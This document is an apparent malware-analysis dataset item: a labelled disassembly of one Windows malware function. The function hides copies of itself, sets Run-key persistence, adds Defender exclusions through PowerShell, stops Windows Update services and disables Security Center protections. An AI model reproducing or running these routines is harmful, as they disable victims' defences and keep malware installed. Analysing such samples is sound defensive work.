Function at 0x4079c0
Capabilities:
Bypass mark of the web
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create process on windows
Create thread
Delete file
Disable system features via registry on windows
Initialize winsock library
Persist via run registry key
Persist via windows service
Query environment variable
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xff0
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.x877d7osne
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0xe5c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4079fe
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x62c], 0
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x83c], 1
mov dword [ebp - 0x210], 4
push 0x105
push 0x41c090
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x41c090
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov dword [ebp - 0x20c], eax
push 0x41c090
push 0x411694
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea edx, [ebp - 0xe58]
push edx
push str._userprofile_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.sysblvrvcr.exe
mov eax, dword [ebp - 0x20c]
push eax
call sub.ntdll.dll_wcscmp
add esp, 8
test eax, eax
je 0x407db1
call fcn.0040f160
movzx ecx, al
cmp ecx, 1
jne 0x407ab8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x104
lea edx, [ebp - 0xa48]
push edx
push str._windir_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.sysblvrvcr.exe
lea eax, [ebp - 0xa48]
push eax
push 0x4116ec
lea ecx, [ebp - 0x838]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea edx, [ebp - 0x838]
push edx
push 0x41c090
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x407bb6
push 3
lea eax, [ebp - 0x838]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x62c]
push ecx
push 0x20006
push 0
push 0x4116f8
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0
jne 0x407bb6
lea edx, [ebp - 0x838]
push edx
call sub.ntdll.dll_wcslen
add esp, 4
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0x838]
push ecx
push 1
push 0
push str.Windows_Settings
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x407ba9
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x838]
push ecx
call fcn.0040f3b0
add esp, 4
movzx edx, al
cmp edx, 1
jne 0x407ba9
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.sysblvrvcr.exe
lea ecx, [ebp - 0xe58]
push ecx
push 0x411758
lea edx, [ebp - 0x418]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea eax, [ebp - 0x418]
push eax
push 0x41c090
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x407ca8
push 3
lea ecx, [ebp - 0x418]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0x62c]
push edx
push 0x20006
push 0
push 0x411770
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0
jne 0x407ca8
lea eax, [ebp - 0x418]
push eax
call sub.ntdll.dll_wcslen
add esp, 4
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x418]
push edx
push 1
push 0
push str.Windows_Settings
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x407c9b
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x418]
push edx
call fcn.0040f3b0
add esp, 4
movzx eax, al
cmp eax, 1
jne 0x407c9b
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x104
lea edx, [ebp - 0xc50]
push edx
push 0x4117d0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.sysblvrvcr.exe
lea eax, [ebp - 0xc50]
push eax
push str._s_s
lea ecx, [ebp - 0x628]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea edx, [ebp - 0x628]
push edx
push 0x41c090
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x407db1
push 3
lea eax, [ebp - 0x628]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x62c]
push ecx
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0
jne 0x407db1
lea edx, [ebp - 0x628]
push edx
call sub.ntdll.dll_wcslen
add esp, 4
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0x628]
push ecx
push 1
push 0
push str.Windows_Settings
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x407da4
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x628]
push ecx
call fcn.0040f3b0
add esp, 4
movzx edx, al
cmp edx, 1
jne 0x407da4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push str._c_powershell__Command__Add_MpPreference__ExclusionPath__env:windir__Add_MpPreference__ExclusionPath__env:TEMP__Add_MpPreference__ExclusionPath__env:USERPROFILE_
push 0x411984
push 0x411994
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
push 0
push str._c_sc_stop_UsoSvc__sc_stop_WaaSMedicSvc__sc_stop_wuauserv__sc_stop_DoSvc__sc_stop_BITS__wait
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 0x62c]
push ecx
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServicesUsoSvc
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0
jne 0x407e4b
push 4
lea edx, [ebp - 0x210]
push edx
push 4
push 0
push 0x411ad4
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x62c]
push edx
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServicesWaaSMedicSvc
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0
jne 0x407ea4
push 4
lea eax, [ebp - 0x210]
push eax
push 4
push 0
push 0x411b40
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x62c]
push eax
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServiceswuauserv
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0
jne 0x407efd
push 4
lea ecx, [ebp - 0x210]
push ecx
push 4
push 0
push 0x411b4c
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x62c]
push ecx
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServicesDoSvc
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0
jne 0x407f56
push 4
lea edx, [ebp - 0x210]
push edx
push 4
push 0
push 0x411c00
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x62c]
push edx
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServicesBITS
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0
jne 0x407faf
push 4
lea eax, [ebp - 0x210]
push eax
push 4
push 0
push str.Start
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x62c]
push eax
push 0x20006
push 0
push str.SOFTWAREPoliciesMicrosoftWindowsWindowsUpdate
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0
jne 0x408008
push 4
lea ecx, [ebp - 0x83c]
push ecx
push 4
push 0
push 0x411ccc
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x62c]
push ecx
push 0x20006
push 0
push str.SOFTWAREPoliciesMicrosoftWindowsWindowsUpdateAU
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0
jne 0x40809f
push 4
lea edx, [ebp - 0x83c]
push edx
push 4
push 0
push str.NoAutoUpdate
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea ecx, [ebp - 0x41c]
push ecx
push 4
push 0
push str.AlwaysAutoUpdate
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea eax, [ebp - 0x83c]
push eax
push 4
push 0
push str.OverrideNotice
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x62c]
push eax
push 0x20006
push 0
push str.SOFTWAREPoliciesMicrosoftWindowsUpdateOrchestrator
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0
jne 0x408159
push 4
lea ecx, [ebp - 0x83c]
push ecx
push 4
push 0
push str.DisableWindowsUpdate
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea eax, [ebp - 0x41c]
push eax
push 4
push 0
push str.AutoUpdateOptions
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea edx, [ebp - 0x41c]
push edx
push 4
push 0
push str.EnableWindowsUpdate
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea ecx, [ebp - 0x83c]
push ecx
push 4
push 0
push str.PreventDownload
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x62c]
push ecx
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_Center
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0
jne 0x408270
push 4
lea edx, [ebp - 0x83c]
push edx
push 4
push 0
push 0x411f18
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea ecx, [ebp - 0x83c]
push ecx
push 4
push 0
push 0x411f3c
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea eax, [ebp - 0x83c]
push eax
push 4
push 0
push 0x411f68
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea edx, [ebp - 0x83c]
push edx
push 4
push 0
push 0x411f90
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea ecx, [ebp - 0x83c]
push ecx
push 4
push 0
push 0x411fb4
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea eax, [ebp - 0x83c]
push eax
push 4
push 0
push 0x411fe4
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea edx, [ebp - 0x83c]
push edx
push 4
push 0
push 0x412004
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x62c]
push edx
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_CenterSvc
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0
jne 0x408387
push 4
lea eax, [ebp - 0x83c]
push eax
push 4
push 0
push str.FirewallOverride
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea edx, [ebp - 0x83c]
push edx
push 4
push 0
push str.FirewallDisableNotify
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea ecx, [ebp - 0x83c]
push ecx
push 4
push 0
push str.AntiSpywareOverride
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea eax, [ebp - 0x83c]
push eax
push 4
push 0
push str.AntiVirusOverride
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea edx, [ebp - 0x83c]
push edx
push 4
push 0
push str.AntiVirusDisableNotify
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea ecx, [ebp - 0x83c]
push ecx
push 4
push 0
push str.UpdatesOverride
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea eax, [ebp - 0x83c]
push eax
push 4
push 0
push str.UpdatesDisableNotify
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0040d200
movzx eax, al
test eax, eax
je 0x408511
lea ecx, [ebp - 0xff0]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea edx, [ebp - 0xe58]
push edx
push str._s_tbtnds.dat
push 0x41c2a0
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0xe58]
push eax
push str._s_tbtcmds.dat
push 0x41be88
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
push 0
push 0x407870
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x9c40
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x405940
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x406ff0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00405c80
call fcn.0040e070
call fcn.00407410
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x41ccd8], eax
call fcn.0040c930
mov dword [0x41cce0], eax
call fcn.0040db60
mov dword [0x41ccdc], eax
call fcn.0040bcf0
push 0
push 0
push 0
push 0x40e020
push 0
mov ecx, dword [0x41ccdc]
push ecx
call fcn.0040db90
add esp, 0x18
push 0
push 0
push 0
push 0x40df80
push 0
mov edx, dword [0x41ccdc]
push edx
call fcn.0040db90
add esp, 0x18
push 0
push 0
push 0
push 0x40d930
push 0
mov eax, dword [0x41ccdc]
push eax
call fcn.0040db90
add esp, 0x18
push 0
push 0
push 0
push 0x40d8e0
push 0
mov ecx, dword [0x41ccdc]
push ecx
call fcn.0040db90
add esp, 0x18
push 0xffffffffffffffff
mov edx, dword [0x41ccdc]
push edx
call fcn.0040dd00
add esp, 8
mov eax, dword [0x41ccdc]
push eax
call fcn.0040de40
add esp, 4
jmp 0x408515
xor eax, eax
mov esp, ebp
pop ebp
ret